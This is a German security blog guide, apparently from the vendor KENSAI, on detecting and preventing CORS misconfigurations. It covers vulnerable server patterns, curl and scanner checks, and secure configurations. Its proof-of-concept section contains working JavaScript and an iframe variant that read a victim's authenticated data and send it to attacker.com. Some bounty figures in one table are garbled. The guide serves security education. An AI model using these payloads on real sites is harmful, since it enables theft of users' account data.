← Zurück zum Blog

CORS-Fehlkonfiguration: Vollständiger Leitfaden zur Erkennung und Prävention

CORS-Fehlkonfigurationen gehören zu den Schwachstellen, die in Bug-Bounty-Programmen am häufigsten belohnt werden – und zugleich zu den am meisten unterschätzten. Ein einziger falsch konfigurierter Access-Control-Allow-Origin-Header kann jeden authentifizierten API-Endpunkt für angreiferkontrollierte Domains zugänglich machen.

---

Was ist CORS und warum ist es wichtig?

Cross-Origin Resource Sharing (CORS) ist ein auf HTTP-Headern basierender Mechanismus, mit dem ein Server festlegt, welche anderen Ursprünge (Domain + Schema + Port) seine Antworten lesen dürfen. Wenn ein Browser eine ursprungsübergreifende Anfrage stellt, setzt er die CORS-Richtlinie des Servers durch.

Diese entscheidenden Header sollten Sie kennen:

• Access-Control-Allow-Origin — legt fest, welcher Ursprung die Antwort lesen darf
• Access-Control-Allow-Credentials — legt fest, ob Cookies und Authentifizierungs-Header einbezogen werden
• Access-Control-Allow-Methods — zulässige HTTP-Methoden
• Access-Control-Allow-Headers — zulässige Anfrage-Header
• Access-Control-Expose-Headers — für JavaScript sichtbare Antwort-Header

---

Muster für CORS-Fehlkonfigurationen

1. Platzhalter mit Zugangsdaten (laut Spezifikation unmöglich, dennoch häufig versucht)

Browser lehnen Access-Control-Allow-Origin: * in Kombination mit Zugangsdaten ab. Entwickler versuchen dies häufig und „beheben“ es anschließend, indem sie den Ursprung dynamisch zurückspiegeln – wodurch eine noch schwerwiegendere Schwachstelle entsteht.

2. Blindes Zurückspiegeln des Origin-Headers

# Verwundbare serverseitige Logik (Python/Flask)
@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin')
    response.headers['Access-Control-Allow-Origin'] = origin  # NIEMALS SO UMSETZEN
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

Nun kann jeder Ursprung authentifizierte Antworten lesen. Dies ist die häufigste CORS-Schwachstelle, die in Bug-Bounty-Programmen gefunden wird.

3. Schwache Ursprungsvalidierung (Umgehung per Teilzeichenfolge/Regex)

# Verwundbar: Prüft, ob die vertrauenswürdige Domain IRGENDWO im Ursprung vorkommt
if 'trusted-bank.com' in request.headers.get('Origin', ''):
    # Umgehung: Angreifer registriert evil-trusted-bank.com oder trusted-bank.com.evil.com
    allow_origin(origin)

4. Vertrauen in den Null-Ursprung

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Der Ursprung null kann durch Sandbox-iFrames, Weiterleitungen und file://-URLs ausgelöst werden. Angreifer können Seiten erstellen, die Anfragen mit Origin: null senden.

5. Subdomain-Platzhalter ohne TLD-Verankerung

# Soll *.company.com erlauben, lässt aber auch evil.company.com.attacker.com zu
if origin.endswith('.company.com'):
    allow_origin(origin)

6. Preflight-Cache-Poisoning

Wenn Access-Control-Max-Age gesetzt ist, können zwischengespeicherte Preflight-Antworten ausgenutzt werden, falls sich die Ursprungsvalidierung ohne Cache-Invalidierung ändert.

---

Erkennung: CORS-Fehlkonfigurationen finden

Manuelle Erkennung mit curl

# Test 1: Grundlegende Prüfung auf Zurückspiegelung
curl -s -I -H "Origin: https://evil.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Test 2: Null-Ursprung
curl -s -I -H "Origin: null" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Test 3: Subdomain-Umgehung
curl -s -I -H "Origin: https://target.com.evil.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

# Test 4: Prä-Domain-Umgehung
curl -s -I -H "Origin: https://eviltarget.com" \
  https://target.com/api/userinfo \
  | grep -i "access-control"

Automatisierte Erkennung mit Corsy

# Corsy installieren und ausführen
pip install corsy
python3 corsy.py -u https://target.com -t 10

# Eine Liste von URLs scannen
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"

Erkennung mit Burp Suite

In Burp Suite Pro prüft der Active Scanner automatisch auf CORS-Fehlkonfigurationen. Verwenden Sie für manuelle Tests die Erweiterung CORS* aus dem BApp Store. Vorgehensweise:

1. Eine Anfrage mit Burp Proxy erfassen
2. An Repeater senden
3. Den Header Origin: https://evil.com hinzufügen
4. Prüfen, ob die Antwort den Ursprung in Access-Control-Allow-Origin zurückspiegelt
5. Prüfen, ob zusätzlich Access-Control-Allow-Credentials: true vorhanden ist

Worauf Sie in Antworten achten sollten

Antwort	Schweregrad	Ausnutzbar?
ACAO: *	Niedrig–Mittel	Nur ohne Zugangsdaten
Nur ACAO: [bösartiger Ursprung]	Mittel	Ohne Zugangsdaten
ACAO: [bösartiger Ursprung] + ACAC: true	Kritisch	Ja — vollständiger Diebstahl von Zugangsdaten
ACAO: null + ACAC: true	Hoch	Über ein Sandbox-iFrame

---

Proof of Concept: Ausnutzung einer CORS-Fehlkonfiguration

Einfacher CORS-PoC (sensible Daten lesen)

<!-- Auf attacker.com gehostet -->
<script>
fetch('https://victim.com/api/account/profile', {
  credentials: 'include',  // Sendet Cookies
  mode: 'cors'
})
.then(r => r.text())
.then(data => {
  // An den Server des Angreifers exfiltrieren
  fetch('https://attacker.com/log?data=' + encodeURIComponent(data));
})
.catch(e => console.log('CORS blockiert:', e));
</script>

PoC mit Null-Ursprung (Sandbox-iFrame)

<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
        srcdoc="<script>
  fetch('https://victim.com/api/userdata', {credentials:'include'})
  .then(r=>r.text())
  .then(d=>parent.postMessage(d,'*'));
</script>">
</iframe>

<script>
window.addEventListener('message', e => {
  fetch('/log?d=' + encodeURIComponent(e.data));
});
</script>

Verkettung von Subdomain-Übernahme und CORS

Wenn eine vertrauenswürdige Subdomain (z. B. legacy.victim.com) übernommen werden kann und die API *.victim.com vertraut, entsteht durch die Kombination aus Subdomain-Übernahme und CORS eine kritische Angriffskette.

---

CORS-Schwachstellen aus der Praxis

Fallstudie: Große E-Commerce-Plattform (12.500 $ Prämie)

Fallstudie: Gesundheitsportal (kritisch)

Bemerkenswerte offengelegte CORS-Schwachstellen

Unternehmen	Schwachstelle	Prämie
Shopify	Ursprungszurückspiegelung in der Händler-API	5,000
Uber	Vertrauen in Subdomain-Platzhalter	$3,000
Yahoo	Akzeptanz des Null-Ursprungs	,500
Starbucks	Prä-Domain-Umgehung	$4,000

---

Prävention: CORS-Konfigurationen absichern

Allowlist-basierte Ursprungsvalidierung (korrekter Ansatz)

# Python/Flask – sichere Implementierung
ALLOWED_ORIGINS = {
    'https://app.company.com',
    'https://admin.company.com',
    'https://company.com'
}

@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin')
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Vary'] = 'Origin'  # Entscheidend für das Caching!
    return response

// Node.js/Express – sichere Implementierung
const allowedOrigins = new Set([
  'https://app.company.com',
  'https://company.com'
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  next();
});

Nginx-CORS-Konfiguration

# nginx.conf – sicheres CORS
map $http_origin $cors_origin {
    default "";
    "https://app.company.com" $http_origin;
    "https://company.com" $http_origin;
}

server {
    location /api/ {
        if ($cors_origin) {
            add_header 'Access-Control-Allow-Origin' $cors_origin always;
            add_header 'Access-Control-Allow-Credentials' 'true' always;
            add_header 'Vary' 'Origin' always;
        }
        # Niemals verwenden: add_header 'Access-Control-Allow-Origin' '*';
    }
}

---

CORS vs. CSRF: Den Unterschied verstehen

CORS in Ihrer CI/CD-Pipeline testen

# Zur Sicherheitspipeline hinzufügen (z. B. GitHub Actions)
- name: CORS-Sicherheitsscan
  run: |
    # Kritische Endpunkte testen
    for endpoint in /api/user /api/account /api/payments; do
      response=$(curl -s -I \
        -H "Origin: https://evil-test-domain.com" \
        "https://${{ env.TARGET_URL }}$endpoint")

      if echo "$response" | grep -qi "access-control-allow-origin: https://evil"; then
        echo "CORS-FEHLKONFIGURATION ERKANNT: $endpoint"
        exit 1
      fi
    done
    echo "CORS-Prüfung bestanden"

---

FAQ

Ist eine CORS-Fehlkonfiguration immer kritisch?

Der Schweregrad hängt von der Kombination der Header ab. Access-Control-Allow-Origin: * allein (ohne Zugangsdaten) hat einen niedrigen bis mittleren Schweregrad. Kritisch sind Fälle mit einem beliebigen oder zurückgespiegelten Ursprung UND Access-Control-Allow-Credentials: true – dies ermöglicht die vollständige Übernahme von Sitzungen und den Diebstahl von Daten.

Können CORS-Fehlkonfigurationen ohne Benutzerinteraktion ausgenutzt werden?

Bei CORS-Angriffen muss das Opfer die Seite des Angreifers besuchen und gleichzeitig eine aktive Sitzung auf der Zielwebsite besitzen. Die Ausnutzung erfolgt unbemerkt im Hintergrund – das Opfer sieht nichts. Dadurch sind solche Angriffe in Phishing-Szenarien besonders gefährlich.

Verhindert HTTPS CORS-Angriffe?

Nein. CORS ist ein Mechanismus zur Lockerung der Same-Origin-Policy und funktioniert unabhängig davon, ob HTTPS verwendet wird. Das Schema (HTTP gegenüber HTTPS) ist Teil des Ursprungs, doch die Verwendung von HTTPS behebt keine CORS-Fehlkonfigurationen.

Wie erkennt KENSAI CORS-Fehlkonfigurationen?

Der aktive Scanner von KENSAI testet alle API-Endpunkte mit veränderten Origin-Headern und prüft dabei auf zurückgespiegelte Ursprünge, die Akzeptanz von Null-Ursprüngen sowie die kritische Kombination aus zurückgespiegelten Ursprüngen und Unterstützung von Zugangsdaten. Ergebnisse werden nach ihrer tatsächlichen Ausnutzbarkeit priorisiert und nicht nur danach, ob bestimmte Header vorhanden sind.